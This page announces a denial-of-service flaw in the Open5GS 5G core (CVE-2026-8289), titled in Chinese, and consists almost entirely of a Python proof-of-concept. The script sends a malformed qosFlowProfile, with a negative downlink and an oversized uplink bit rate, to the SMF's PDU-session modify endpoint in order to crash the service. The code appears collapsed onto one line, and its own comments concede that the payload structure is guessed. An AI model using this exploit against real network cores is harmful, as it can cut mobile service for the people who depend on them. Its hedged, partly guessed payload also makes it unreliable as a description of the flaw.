CVE-2026-8289 Open5GS拒绝服务漏洞

import requests import json # PoC for CVE-2026-8289: Open5GS SMF DoS # Target: Open5GS SMF Interface # Description: Sending a malformed qosFlowProfile to trigger the crash def exploit_poc(target_ip, target_port): # Open5GS SMF usually exposes SBI interface, default port often 7777 or similar url = f"http://{target_ip}:{target_port}/nsmf-pdusession/v1/sm-contexts/{sm_context_ref}/modify" # Construct malicious payload with malformed qosFlowProfile # The exact structure depends on the OpenAPI definition, but the vulnerability lies in the parsing of this field. malicious_payload = { "qosFlowProfile": { "5qi": 9, "arp": { "priorityLevel": 15, "preemptCapability": "MAY_PREEMPT", "preemptVulnerability": "NOT_PREEMPTABLE" }, # Injecting unexpected or malicious data here "maxFlowBitRateDL": -1, "maxFlowBitRateUL": 9999999999 } } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[*] Sending malicious request to {url}...") response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[*] Response status code: {response.status_code}") print("[*] If the service crashes or hangs, the PoC is successful.") except requests.exceptions.RequestException as e: print(f"[!] Request failed or service crashed: {e}") if __name__ == "__main__": # Replace with actual target IP and a valid SM context reference if known target_ip = "192.168.1.100" target_port = "7777" sm_context_ref = "1" exploit_poc(target_ip, target_port)